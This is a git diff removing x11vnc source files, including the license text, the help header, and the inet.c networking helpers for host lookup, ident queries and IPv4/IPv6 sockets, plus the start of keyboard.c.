-" Yoyodyne, Inc., hereby disclaims all copyright interest in the program\n"
-" `Gnomovision' (which makes passes at compilers) written by James Hacker.\n"
-"\n"
-" <signature of Ty Coon>, 1 April 1989\n"
-" Ty Coon, President of Vice\n"
-"\n"
-"This General Public License does not permit incorporating your program into\n"
-"proprietary programs. If your program is a subroutine library, you may\n"
-"consider it more useful to permit linking proprietary applications with the\n"
-"library. If this is what you want to do, use the GNU Library General\n"
-"Public License instead of this License.\n"
-#endif
-;
-
- char top[] =
-"\n"
-"x11vnc: a VNC server for X displays. %s\n"
-"\n"
-"Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>\n"
-"All rights reserved.\n"
-"\n"
-;
- dup2(1, 2);
- fprintf(stderr, top, lastmod);
- fprintf(stderr, "%s", license);
- exit(1);
-}
-
diff --git a/x11vnc/help.h b/x11vnc/help.h
deleted file mode 100644
index 4607af8..0000000
--- a/x11vnc/help.h
+++ /dev/null
@@ -1,43 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-#ifndef _X11VNC_HELP_H
-#define _X11VNC_HELP_H
-
-/* -- help.h -- */
-
-extern void print_help(int mode);
-extern void print_license(void);
-extern void xopen_display_fail_message(char *disp);
-extern void nopassword_warning_msg(int gotloc);
-
-#endif /* _X11VNC_HELP_H */
diff --git a/x11vnc/inet.c b/x11vnc/inet.c
deleted file mode 100644
index 23a911e..0000000
--- a/x11vnc/inet.c
+++ /dev/null
@@ -1,936 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-/* -- inet.c -- */
-
-#include "x11vnc.h"
-#include "unixpw.h"
-#include "sslhelper.h"
-
-/*
- * Simple utility to map host name to dotted IP address. Ignores aliases.
- * Up to caller to free returned string.
- */
-char *host2ip(char *host);
-char *raw2host(char *raw, int len);
-char *raw2ip(char *raw);
-char *ip2host(char *ip);
-int ipv6_ip(char *host);
-int dotted_ip(char *host, int partial);
-int get_remote_port(int sock);
-int get_local_port(int sock);
-char *get_remote_host(int sock);
-char *get_local_host(int sock);
-char *ident_username(rfbClientPtr client);
-int find_free_port(int start, int end);
-int find_free_port6(int start, int end);
-int have_ssh_env(void);
-char *ipv6_getnameinfo(struct sockaddr *paddr, int addrlen);
-char *ipv6_getipaddr(struct sockaddr *paddr, int addrlen);
-int listen6(int port);
-int listen_unix(char *file);
-int accept_unix(int s);
-int connect_tcp(char *host, int port);
-int listen_tcp(int port, in_addr_t iface, int try6);
-
-static int get_port(int sock, int remote);
-static char *get_host(int sock, int remote);
-
-char *host2ip(char *host) {
- struct hostent *hp;
- struct sockaddr_in addr;
- char *str;
-
- if (! host_lookup) {
- return NULL;
- }
-
- hp = gethostbyname(host);
- if (!hp) {
- return NULL;
- }
- memset(&addr, 0, sizeof(addr));
- addr.sin_family = AF_INET;
- addr.sin_addr.s_addr = *(unsigned long *)hp->h_addr;
- str = strdup(inet_ntoa(addr.sin_addr));
- return str;
-}
-
-char *raw2host(char *raw, int len) {
- char *str;
-#if LIBVNCSERVER_HAVE_NETDB_H && LIBVNCSERVER_HAVE_NETINET_IN_H
- struct hostent *hp;
-
- if (! host_lookup) {
- return strdup("unknown");
- }
-
- hp = gethostbyaddr(raw, len, AF_INET);
- if (!hp) {
- return strdup(inet_ntoa(*((struct in_addr *)raw)));
- }
- str = strdup(hp->h_name);
-#else
- str = strdup("unknown");
-#endif
- return str;
-}
-
-char *raw2ip(char *raw) {
- return strdup(inet_ntoa(*((struct in_addr *)raw)));
-}
-
-char *ip2host(char *ip) {
- char *str;
-#if LIBVNCSERVER_HAVE_NETDB_H && LIBVNCSERVER_HAVE_NETINET_IN_H
- struct hostent *hp;
- in_addr_t iaddr;
-
- if (! host_lookup) {
- return strdup("unknown");
- }
-
- iaddr = inet_addr(ip);
- if (iaddr == htonl(INADDR_NONE)) {
- return strdup("unknown");
- }
-
- hp = gethostbyaddr((char *)&iaddr, sizeof(in_addr_t), AF_INET);
- if (!hp) {
- return strdup("unknown");
- }
- str = strdup(hp->h_name);
-#else
- str = strdup("unknown");
-#endif
- return str;
-}
-
-int ipv6_ip(char *host_in) {
- char *p, *host, a[2];
- int ncol = 0, nhex = 0;
-
- if (host_in[0] == '[') {
- host = host_in + 1;
- } else {
- host = host_in;
- }
-
- if (strstr(host, "::ffff:") == host || strstr(host, "::FFFF:") == host) {
- return dotted_ip(host + strlen("::ffff:"), 0);
- }
-
- a[1] = '\0';
-
- p = host;
- while (*p != '\0' && *p != '%' && *p != ']') {
- if (*p == ':') {
- ncol++;
- } else {
- nhex++;
- }
- a[0] = *p;
- if (strpbrk(a, ":abcdef0123456789") == a) {
- p++;
- continue;
- }
- return 0;
- }
- if (ncol < 2 || ncol > 8 || nhex == 0) {
- return 0;
- } else {
- return 1;
- }
-}
-
-int dotted_ip(char *host, int partial) {
- int len, dots = 0;
- char *p = host;
-
- if (!host) {
- return 0;
- }
-
- if (!isdigit((unsigned char) host[0])) {
- return 0;
- }
-
- len = strlen(host);
- if (!partial && !isdigit((unsigned char) host[len-1])) {
- return 0;
- }
-
- while (*p != '\0') {
- if (*p == '.') dots++;
- if (*p == '.' || isdigit((unsigned char) (*p))) {
- p++;
- continue;
- }
- return 0;
- }
- if (!partial && dots != 3) {
- return 0;
- }
- return 1;
-}
-
-static int get_port(int sock, int remote) {
- struct sockaddr_in saddr;
- unsigned int saddr_len;
- int saddr_port;
-
- saddr_len = sizeof(saddr);
- memset(&saddr, 0, sizeof(saddr));
- saddr_port = -1;
- if (remote) {
- if (!getpeername(sock, (struct sockaddr *)&saddr, &saddr_len)) {
- saddr_port = ntohs(saddr.sin_port);
- }
- } else {
- if (!getsockname(sock, (struct sockaddr *)&saddr, &saddr_len)) {
- saddr_port = ntohs(saddr.sin_port);
- }
- }
- return saddr_port;
-}
-
-int get_remote_port(int sock) {
- return get_port(sock, 1);
-}
-
-int get_local_port(int sock) {
- return get_port(sock, 0);
-}
-
-static char *get_host(int sock, int remote) {
- struct sockaddr_in saddr;
- unsigned int saddr_len;
- int saddr_port;
- char *saddr_ip_str = NULL;
-
- saddr_len = sizeof(saddr);
- memset(&saddr, 0, sizeof(saddr));
- saddr_port = -1;
-#if LIBVNCSERVER_HAVE_NETINET_IN_H
- if (remote) {
- if (!getpeername(sock, (struct sockaddr *)&saddr, &saddr_len)) {
- saddr_ip_str = inet_ntoa(saddr.sin_addr);
- }
- } else {
- if (!getsockname(sock, (struct sockaddr *)&saddr, &saddr_len)) {
- saddr_ip_str = inet_ntoa(saddr.sin_addr);
- }
- }
-#endif
- if (! saddr_ip_str) {
- saddr_ip_str = "unknown";
- }
- return strdup(saddr_ip_str);
-}
-
-char *get_remote_host(int sock) {
- return get_host(sock, 1);
-}
-
-char *get_local_host(int sock) {
- return get_host(sock, 0);
-}
-
-char *ident_username(rfbClientPtr client) {
- ClientData *cd = (ClientData *) client->clientData;
- char *str, *newhost, *user = NULL, *newuser = NULL;
- int len;
-
- if (cd) {
- user = cd->username;
- }
- if (!user || *user == '\0') {
- int n, sock, ok = 0;
- int block = 0;
- int refused = 0;
-
- /*
- * need to check to see if the operation will block for
- * a long time: a firewall may just ignore our packets.
- */
-#if LIBVNCSERVER_HAVE_FORK
- { pid_t pid, pidw;
- int rc;
- if ((pid = fork()) > 0) {
- usleep(100 * 1000); /* 0.1 sec for quick success or refusal */
- pidw = waitpid(pid, &rc, WNOHANG);
- if (pidw <= 0) {
- usleep(1500 * 1000); /* 1.5 sec */
- pidw = waitpid(pid, &rc, WNOHANG);
- if (pidw <= 0) {
- int rc2;
- rfbLog("ident_username: set block=1 (hung)\n");
- block = 1;
- kill(pid, SIGTERM);
- usleep(100 * 1000);
- waitpid(pid, &rc2, WNOHANG);
- }
- }
- if (pidw > 0 && !block) {
- if (WIFEXITED(rc) && WEXITSTATUS(rc) == 1) {
- rfbLog("ident_username: set refused=1 (exit)\n");
- refused = 1;
- }
- }
- } else if (pid == -1) {
- ;
- } else {
- /* child */
- signal(SIGHUP, SIG_DFL);
- signal(SIGINT, SIG_DFL);
- signal(SIGQUIT, SIG_DFL);
- signal(SIGTERM, SIG_DFL);
-
- if ((sock = connect_tcp(client->host, 113)) < 0) {
- exit(1);
- } else {
- close(sock);
- exit(0);
- }
- }
- }
-#endif
- if (block || refused) {
- ;
- } else if ((sock = connect_tcp(client->host, 113)) < 0) {
- rfbLog("ident_username: could not connect to ident: %s:%d\n",
- client->host, 113);
- } else {
- char msg[128];
- int ret;
- fd_set rfds;
- struct timeval tv;
- int rport = get_remote_port(client->sock);
- int lport = get_local_port(client->sock);
-
- sprintf(msg, "%d, %d\r\n", rport, lport);
- n = write(sock, msg, strlen(msg));
-
- FD_ZERO(&rfds);
- FD_SET(sock, &rfds);
- tv.tv_sec = 3;
- tv.tv_usec = 0;
- ret = select(sock+1, &rfds, NULL, NULL, &tv);
-
- if (ret > 0) {
- int i;
- char *q, *p;
- for (i=0; i < (int) sizeof(msg); i++) {
- msg[i] = '\0';
- }
- usleep(250*1000);
- n = read(sock, msg, 127);
- close(sock);
- if (n <= 0) goto badreply;
-
- /* 32782 , 6000 : USERID : UNIX :runge */
- q = strstr(msg, "USERID");
- if (!q) goto badreply;
- q = strstr(q, ":");
- if (!q) goto badreply;
- q++;
- q = strstr(q, ":");
- if (!q) goto badreply;
- q++;
- q = lblanks(q);
- p = q;
- while (*p) {
- if (*p == '\r' || *p == '\n') {
- *p = '\0';
- }
- p++;
- }
- ok = 1;
- if (strlen(q) > 24) {
- *(q+24) = '\0';
- }
- newuser = strdup(q);
-
- badreply:
- n = 0; /* avoid syntax error */
- } else {
- close(sock);
- }
- }
- if (! ok || !newuser) {
- newuser = strdup("unknown-user");
- }
- if (cd) {
- if (cd->username) {
- free(cd->username);
- }
- cd->username = newuser;
- }
- user = newuser;
- }
- if (!strcmp(user, "unknown-user") && cd && cd->unixname[0] != '\0') {
- user = cd->unixname;
- }
- if (unixpw && openssl_last_ip && strstr("UNIX:", user) != user) {
- newhost = ip2host(openssl_last_ip);
- } else {
- newhost = ip2host(client->host);
- }
- len = strlen(user) + 1 + strlen(newhost) + 1;
- str = (char *) malloc(len);
- sprintf(str, "%s@%s", user, newhost);
- free(newhost);
- return str;
-}
-
-int find_free_port(int start, int end) {
- int port;
- if (start <= 0) {
- start = 1024;
- }
- if (end <= 0) {
- end = 65530;
- }
- for (port = start; port <= end; port++) {
- int sock = listen_tcp(port, htonl(INADDR_ANY), 0);
- if (sock >= 0) {
- close(sock);
- return port;
- }
- }
- return 0;
-}
-
-int find_free_port6(int start, int end) {
- int port;
- if (start <= 0) {
- start = 1024;
- }
- if (end <= 0) {
- end = 65530;
- }
- for (port = start; port <= end; port++) {
- int sock = listen6(port);
- if (sock >= 0) {
- close(sock);
- return port;
- }
- }
- return 0;
-}
-
-int have_ssh_env(void) {
- char *str, *p = getenv("SSH_CONNECTION");
- char *rhost, *rport, *lhost, *lport;
-
- if (! p) {
- char *q = getenv("SSH_CLIENT");
- if (! q) {
- return 0;
- }
- if (strstr(q, "127.0.0.1") != NULL) {
- return 0;
- }
- return 1;
- }
-
- if (strstr(p, "127.0.0.1") != NULL) {
- return 0;
- }
-
- str = strdup(p);
-
- p = strtok(str, " ");
- rhost = p;
-
- p = strtok(NULL, " ");
- if (! p) goto fail;
-
- rport = p;
-
- p = strtok(NULL, " ");
- if (! p) goto fail;
-
- lhost = p;
-
- p = strtok(NULL, " ");
- if (! p) goto fail;
-
- lport = p;
-
-if (0) fprintf(stderr, "%d/%d - '%s' '%s'\n", atoi(rport), atoi(lport), rhost, lhost);
-
- if (atoi(rport) <= 16 || atoi(rport) > 65535) {
- goto fail;
- }
- if (atoi(lport) <= 16 || atoi(lport) > 65535) {
- goto fail;
- }
-
- if (!strcmp(rhost, lhost)) {
- goto fail;
- }
-
- free(str);
-
- return 1;
-
- fail:
-
- free(str);
-
- return 0;
-}
-
-char *ipv6_getnameinfo(struct sockaddr *paddr, int addrlen) {
-#if X11VNC_IPV6
- char name[200];
- if (noipv6) {
- return strdup("unknown");
- }
- if (getnameinfo(paddr, addrlen, name, sizeof(name), NULL, 0, 0) == 0) {
- return strdup(name);
- }
-#endif
- return strdup("unknown");
-}
-
-char *ipv6_getipaddr(struct sockaddr *paddr, int addrlen) {
-#if X11VNC_IPV6 && defined(NI_NUMERICHOST)
- char name[200];
- if (noipv6) {
- return strdup("unknown");
- }
- if (getnameinfo(paddr, addrlen, name, sizeof(name), NULL, 0, NI_NUMERICHOST) == 0) {
- return strdup(name);
- }
-#endif
- return strdup("unknown");
-}
-
-int listen6(int port) {
-#if X11VNC_IPV6
- struct sockaddr_in6 sin;
- int fd = -1, one = 1;
-
- if (noipv6) {
- return -1;
- }
- if (port <= 0 || 65535 < port) {
- /* for us, invalid port means do not listen. */
- return -1;
- }
-
- fd = socket(AF_INET6, SOCK_STREAM, 0);
- if (fd < 0) {
- rfbLogPerror("listen6: socket");
- rfbLog("(Ignore the above error if this system is IPv4-only.)\n");
- return -1;
- }
-
- if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, (char *)&one, sizeof(one)) < 0) {
- rfbLogPerror("listen6: setsockopt SO_REUSEADDR");
- close(fd);
- return -1;
- }
-
-#if defined(SOL_IPV6) && defined(IPV6_V6ONLY)
- if (setsockopt(fd, SOL_IPV6, IPV6_V6ONLY, (char *)&one, sizeof(one)) < 0) {
- rfbLogPerror("listen6: setsockopt IPV6_V6ONLY");
- close(fd);
- return -1;
- }
-#endif
-
- memset((char *)&sin, 0, sizeof(sin));
- sin.sin6_family = AF_INET6;
- sin.sin6_port = htons(port);
- sin.sin6_addr = in6addr_any;
-
- if (listen_str6) {
- if (!strcmp(listen_str6, "localhost") || !strcmp(listen_str6, "::1")) {
- sin.sin6_addr = in6addr_loopback;
- } else {
- int err;
- struct addrinfo *ai;
- struct addrinfo hints;
- char service[32];
-
- memset(&hints, 0, sizeof(hints));
- sprintf(service, "%d", port);
-
- hints.ai_family = AF_INET6;
- hints.ai_socktype = SOCK_STREAM;
-#ifdef AI_ADDRCONFIG
- hints.ai_flags |= AI_ADDRCONFIG;
-#endif
-#ifdef AI_NUMERICHOST
- if(ipv6_ip(listen_str6)) {
- hints.ai_flags |= AI_NUMERICHOST;
- }
-#endif
-#ifdef AI_NUMERICSERV
- hints.ai_flags |= AI_NUMERICSERV;
-#endif
- err = getaddrinfo(listen_str6, service, &hints, &ai);
- if (err == 0) {
- struct addrinfo *ap = ai;
- err = 1;
- while (ap != NULL) {
- char *s = ipv6_getipaddr(ap->ai_addr, ap->ai_addrlen);
- if (!s) s = strdup("unknown");
-
- rfbLog("listen6: checking: %s family: %d\n", s, ap->ai_family);
- if (ap->ai_family == AF_INET6) {
- memcpy((char *)&sin, ap->ai_addr, sizeof(sin));
- rfbLog("listen6: using: %s scope_id: %d\n", s, sin.sin6_scope_id);
- err = 0;
- free(s);
- break;
- }
- free(s);
- ap = ap->ai_next;
- }
- freeaddrinfo(ai);
- }
-
- if (err != 0) {
- rfbLog("Invalid or Unsupported -listen6 string: %s\n", listen_str6);
- close(fd);
- return -1;
- }
- }
- } else if (allow_list && !strcmp(allow_list, "127.0.0.1")) {
- sin.sin6_addr = in6addr_loopback;
- } else if (listen_str) {
- if (!strcmp(listen_str, "localhost")) {
- sin.sin6_addr = in6addr_loopback;
- }
- }
-
- if (bind(fd, (struct sockaddr *) &sin, sizeof(sin)) < 0) {
- rfbLogPerror("listen6: bind");
- close(fd);
- return -1;
- }
- if (listen(fd, 32) < 0) {
- rfbLogPerror("listen6: listen");
- close(fd);
- return -1;
- }
- return fd;
-#else
- if (port) {}
- return -1;
-#endif
-}
-
-#ifdef LIBVNCSERVER_HAVE_SYS_SOCKET_H
-#include <sys/un.h>
-#endif
-
-int listen_unix(char *file) {
-#if !defined(AF_UNIX) || !defined(LIBVNCSERVER_HAVE_SYS_SOCKET_H)
- if (sock) {}
- return -1;
-#else
- int s, len;
- struct sockaddr_un saun;
-
- s = socket(AF_UNIX, SOCK_STREAM, 0);
- if (s < 0) {
- rfbLogPerror("listen_unix: socket");
- return -1;
- }
- saun.sun_family = AF_UNIX;
- strcpy(saun.sun_path, file);
- unlink(file);
-
- len = sizeof(saun.sun_family) + strlen(saun.sun_path);
-
- if (bind(s, (struct sockaddr *)&saun, len) < 0) {
- rfbLogPerror("listen_unix: bind");
- close(s);
- return -1;
- }
-
- if (listen(s, 32) < 0) {
- rfbLogPerror("listen_unix: listen");
- close(s);
- return -1;
- }
- rfbLog("listening on unix socket: %s fd=%d\n", file, s);
- return s;
-#endif
-}
-
-int accept_unix(int s) {
-#if !defined(AF_UNIX) || !defined(LIBVNCSERVER_HAVE_SYS_SOCKET_H)
- if (s) {}
- return -1;
-#else
- int fd, fromlen;
- struct sockaddr_un fsaun;
-
- fd = accept(s, (struct sockaddr *)&fsaun, &fromlen);
- if (fd < 0) {
- rfbLogPerror("accept_unix: accept");
- return -1;
- }
- return fd;
-#endif
-}
-
-int connect_tcp(char *host, int port) {
- double t0 = dnow();
- int fd = -1;
- int fail4 = noipv4;
- if (getenv("IPV4_FAILS")) {
- fail4 = 2;
- }
-
- rfbLog("connect_tcp: trying: %s %d\n", host, port);
-
- if (fail4) {
- if (fail4 > 1) {
- rfbLog("TESTING: IPV4_FAILS for connect_tcp.\n");
- }
- } else {
- fd = rfbConnectToTcpAddr(host, port);
- }
-
- if (fd >= 0) {
- return fd;
- }
- rfbLogPerror("connect_tcp: connection failed");
-
- if (dnow() - t0 < 4.0) {
- rfbLog("connect_tcp: re-trying %s %d\n", host, port);
- usleep (100 * 1000);
- if (!fail4) {
- fd = rfbConnectToTcpAddr(host, port);
- }
- if (fd < 0) {
- rfbLogPerror("connect_tcp: connection failed");
- }
- }
-
- if (fd < 0 && !noipv6) {
-#if X11VNC_IPV6
- int err;
- struct addrinfo *ai;
- struct addrinfo hints;
- char service[32], *host2, *q;
-
- rfbLog("connect_tcp: trying IPv6 %s %d\n", host, port);
-
- memset(&hints, 0, sizeof(hints));
- sprintf(service, "%d", port);
-
- hints.ai_family = AF_UNSPEC;
- hints.ai_socktype = SOCK_STREAM;
-#ifdef AI_ADDRCONFIG
- hints.ai_flags |= AI_ADDRCONFIG;
-#endif
- if(ipv6_ip(host)) {
-#ifdef AI_NUMERICHOST
- rfbLog("connect_tcp[ipv6]: setting AI_NUMERICHOST for %s\n", host);
- hints.ai_flags |= AI_NUMERICHOST;
-#endif
- }
-#ifdef AI_NUMERICSERV
- hints.ai_flags |= AI_NUMERICSERV;
-#endif
-
- if (!strcmp(host, "127.0.0.1")) {
- host2 = strdup("::1");
- } else if (host[0] == '[') {
- host2 = strdup(host+1);
- } else {
- host2 = strdup(host);
- }
- q = strrchr(host2, ']');
- if (q) {
- *q = '\0';
- }
-
- err = getaddrinfo(host2, service, &hints, &ai);
- if (err != 0) {
- rfbLog("connect_tcp[ipv6]: getaddrinfo[%d]: %s\n", err, gai_strerror(err));
- usleep(100 * 1000);
- err = getaddrinfo(host2, service, &hints, &ai);
- }
- free(host2);
-
- if (err != 0) {
- rfbLog("connect_tcp[ipv6]: getaddrinfo[%d]: %s\n", err, gai_strerror(err));
- } else {
- struct addrinfo *ap = ai;
- while (ap != NULL) {
- int sock;
-
- if (fail4) {
- struct sockaddr_in6 *s6ptr;
- if (ap->ai_family != AF_INET6) {
- rfbLog("connect_tcp[ipv6]: skipping AF_INET address under -noipv4\n");
- ap = ap->ai_next;
- continue;
- }
-#ifdef IN6_IS_ADDR_V4MAPPED
- s6ptr = (struct sockaddr_in6 *) ap->ai_addr;
- if (IN6_IS_ADDR_V4MAPPED(&(s6ptr->sin6_addr))) {
- rfbLog("connect_tcp[ipv6]: skipping V4MAPPED address under -noipv4\n");
- ap = ap->ai_next;
- continue;
- }
-#endif
- }
-
- sock = socket(ap->ai_family, ap->ai_socktype, ap->ai_protocol);
-
- if (sock == -1) {
- rfbLogPerror("connect_tcp[ipv6]: socket");
- if (0) rfbLog("(Ignore the above error if this system is IPv4-only.)\n");
- } else {
- int res = -1, dmsg = 0;
- char *s = ipv6_getipaddr(ap->ai_addr, ap->ai_addrlen);
- if (!s) s = strdup("unknown");
-
- rfbLog("connect_tcp[ipv6]: trying sock=%d fam=%d proto=%d using %s\n",
- sock, ap->ai_family, ap->ai_protocol, s);
- res = connect(sock, ap->ai_addr, ap->ai_addrlen);
-#if defined(SOL_IPV6) && defined(IPV6_V6ONLY)
- if (res != 0) {
- int zero = 0;
- rfbLogPerror("connect_tcp[ipv6]: connect");
- dmsg = 1;
- if (setsockopt(sock, SOL_IPV6, IPV6_V6ONLY, (char *)&zero, sizeof(zero)) == 0) {
- rfbLog("connect_tcp[ipv6]: trying again with IPV6_V6ONLY=0\n");
- res = connect(sock, ap->ai_addr, ap->ai_addrlen);
- dmsg = 0;
- } else {
- rfbLogPerror("connect_tcp[ipv6]: setsockopt IPV6_V6ONLY");
- }
- }
-#endif
- if (res == 0) {
- rfbLog("connect_tcp[ipv6]: connect OK\n");
- fd = sock;
- if (!ipv6_client_ip_str) {
- ipv6_client_ip_str = strdup(s);
- }
- free(s);
- break;
- } else {
- if (!dmsg) rfbLogPerror("connect_tcp[ipv6]: connect");
- close(sock);
- }
- free(s);
- }
- ap = ap->ai_next;
- }
- freeaddrinfo(ai);
- }
-#endif
- }
- if (fd < 0 && !fail4) {
- /* this is a kludge for IPv4-only machines getting v4mapped string. */
- char *q, *host2;
- if (host[0] == '[') {
- host2 = strdup(host+1);
- } else {
- host2 = strdup(host);
- }
- q = strrchr(host2, ']');
- if (q) {
- *q = '\0';
- }
- if (strstr(host2, "::ffff:") == host2 || strstr(host2, "::FFFF:") == host2) {
- char *host3 = host2 + strlen("::ffff:");
- if (dotted_ip(host3, 0)) {
- rfbLog("connect_tcp[ipv4]: trying fallback to IPv4 for %s\n", host2);
- fd = rfbConnectToTcpAddr(host3, port);
- if (fd < 0) {
- rfbLogPerror("connect_tcp[ipv4]: connection failed");
- }
- }
- }
- free(host2);
- }
- return fd;
-}
-
-int listen_tcp(int port, in_addr_t iface, int try6) {
- int fd = -1;
- int fail4 = noipv4;
- if (getenv("IPV4_FAILS")) {
- fail4 = 2;
- }
-
- if (port <= 0 || 65535 < port) {
- /* for us, invalid port means do not listen. */
- return -1;
- }
-
- if (fail4) {
- if (fail4 > 1) {
- rfbLog("TESTING: IPV4_FAILS for listen_tcp: port=%d try6=%d\n", port, try6);
- }
- } else {
- fd = rfbListenOnTCPPort(port, iface);
- }
-
- if (fd >= 0) {
- return fd;
- }
- if (fail4 > 1) {
- rfbLogPerror("listen_tcp: listen failed");
- }
-
- if (fd < 0 && try6 && ipv6_listen && !noipv6) {
-#if X11VNC_IPV6
- char *save = listen_str6;
- if (iface == htonl(INADDR_LOOPBACK)) {
- listen_str6 = "localhost";
- rfbLog("listen_tcp: retrying on IPv6 in6addr_loopback ...\n");
- fd = listen6(port);
- } else if (iface == htonl(INADDR_ANY)) {
- listen_str6 = NULL;
- rfbLog("listen_tcp: retrying on IPv6 in6addr_any ...\n");
- fd = listen6(port);
- }
- listen_str6 = save;
-#endif
- }
- return fd;
-}
-
diff --git a/x11vnc/inet.h b/x11vnc/inet.h
deleted file mode 100644
index b76dbb4..0000000
--- a/x11vnc/inet.h
+++ /dev/null
@@ -1,60 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-#ifndef _X11VNC_INET_H
-#define _X11VNC_INET_H
-
-/* -- inet.h -- */
-
-extern char *host2ip(char *host);
-extern char *raw2host(char *raw, int len);
-extern char *raw2ip(char *raw);
-extern char *ip2host(char *ip);
-extern int ipv6_ip(char *host);
-extern int dotted_ip(char *host, int partial);
-extern int get_remote_port(int sock);
-extern int get_local_port(int sock);
-extern char *get_remote_host(int sock);
-extern char *get_local_host(int sock);
-extern char *ident_username(rfbClientPtr client);
-extern int find_free_port(int start, int end);
-extern int find_free_port6(int start, int end);
-extern int have_ssh_env(void);
-extern char *ipv6_getnameinfo(struct sockaddr *paddr, int addrlen);
-extern char *ipv6_getipaddr(struct sockaddr *paddr, int addrlen);
-extern int listen6(int port);
-extern int listen_unix(char *file);
-extern int accept_unix(int s);
-extern int connect_tcp(char *host, int port);
-extern int listen_tcp(int port, in_addr_t iface, int try6);
-
-#endif /* _X11VNC_INET_H */
diff --git a/x11vnc/keyboard.c b/x11vnc/keyboard.c
deleted file mode 100644
index 54ff70e..0000000
--- a/x11vnc/keyboard.c
+++ /dev/null
@@ -1,3418 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-/* -- keyboard.c -- */
-
-#include "x11vnc.h"
-#include "xwrappers.h"
-#include "xrecord.h"
-#include "xinerama.h"
-#include "pointer.h"
-#include "userinput.h"
-#include "win_utils.h"
-#include "rates.h"
-#include "cleanup.h"
-#include "allowed_input_t.h"
-#include "unixpw.h"
-#include "v4l.h"
-#include "linuxfb.h"
-#include "uinput.h"
-#include "macosx.h"
-#include "screen.h"
-
-void get_keystate(int *keystate);
-void clear_modifiers(int init);
-int track_mod_state(rfbKeySym keysym, rfbBool down, rfbBool set);
-void clear_keys(void);
-void clear_locks(void);
-int get_autorepeat_state(void);
-int get_initial_autorepeat_state(void);
-void autorepeat(int restore, int bequiet);
-void check_add_keysyms(void);
-int add_keysym(KeySym keysym);
-void delete_added_keycodes(int bequiet);
-void initialize_remap(char *infile);
-int sloppy_key_check(int key, rfbBool down, rfbKeySym keysym, int *new_kc);
-void switch_to_xkb_if_better(void);
-char *short_kmbcf(char *str);
-void initialize_allowed_input(void);
-void initialize_modtweak(void);
-void initialize_keyboard_and_pointer(void);
-void get_allowed_input(rfbClientPtr client, allowed_input_t *input);
